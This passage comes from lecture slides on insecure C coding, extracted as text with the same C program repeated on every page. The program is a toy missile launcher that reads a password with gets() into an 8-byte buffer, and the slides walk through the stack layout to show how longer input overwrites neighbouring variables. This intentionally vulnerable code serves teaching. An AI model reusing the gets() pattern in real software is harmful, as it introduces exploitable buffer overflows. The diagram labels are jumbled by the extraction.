void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 79: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/79.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 80: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/80.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 81: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/81.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 82: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/82.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Hey, wait a minute... should not the stack variables be allocated in
correct order?
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 83: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/83.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
There is no "correct order" here. In this case, the compiler is free to store objects of
automatic storage duration (the correct name for "stack variables") in any order. Indeed, it can
keep all of them in registers or ignore them completely as long as the external behavior of
the program is the same.
Hey, wait a minute... should not the stack variables be allocated in
correct order?
Create a new stack frame, before allocating space for the local variables on the stack.
![Page 84: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/84.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 85: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/85.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 86: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/86.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 87: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/87.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _mainpointer to stack frame for _main
pointer to string "Secret: "
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 88: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/88.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _mainpointer to stack frame for _main
return address, authenticate_and_launch()pointer to string "Secret: "
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 89: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/89.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _mainpointer to stack frame for _main
return address, authenticate_and_launch()pointer to string "Secret: "
(whatever printf() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 90: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/90.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _mainpointer to stack frame for _main
return address, authenticate_and_launch()pointer to string "Secret: "
(whatever printf() needs to do)
After the prompt has been written to the standard output stream. The stack is cleaned up
and we get ready to execute the next statement.
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 91: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/91.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
return address, authenticate_and_launch()pointer to string "Secret: "
(whatever printf() needs to do)
![Page 92: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/92.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 93: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/93.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _mainallowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 94: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/94.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response buffer
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 95: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/95.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response buffer
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Then the return address. Before jumping into gets()
![Page 96: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/96.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Then the return address. Before jumping into gets()
![Page 97: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/97.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Then the return address. Before jumping into gets()
![Page 98: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/98.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
gets() will wait for input from the standard input stream. Each character will be poked sequentally into the response buffer until a
newline character, end-of-line or some kind of error occurs. Then, before returning it will
append a '\0' character to the buffer.
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Then the return address. Before jumping into gets()
![Page 99: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/99.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is pushed on stack.
return address, next intruction in _mainpointer to stack frame for _main
gets() will wait for input from the standard input stream. Each character will be poked sequentally into the response buffer until a
newline character, end-of-line or some kind of error occurs. Then, before returning it will
append a '\0' character to the buffer.
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
If the input is 8 characters or more, then the response buffer allocated on the stack is not big enough, and in this case the data storage of the
other variables will be overwritten.
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
Then the return address. Before jumping into gets()
![Page 100: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/100.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
![Page 101: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/101.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
Here is the exact stack data I got one time I executed the code on my machine.
![Page 102: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/102.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
Here is the exact stack data I got one time I executed the code on my machine.
![Page 103: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/103.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
Here is the exact stack data I got one time I executed the code on my machine.
A lot of this is just padding due to alignment issues.
![Page 104: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/104.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
A lot of this is just padding due to alignment issues.
Here is the exact stack data I got one time I executed the code on my machine.
![Page 105: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/105.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 106: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/106.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 107: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/107.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 108: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/108.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 109: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/109.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
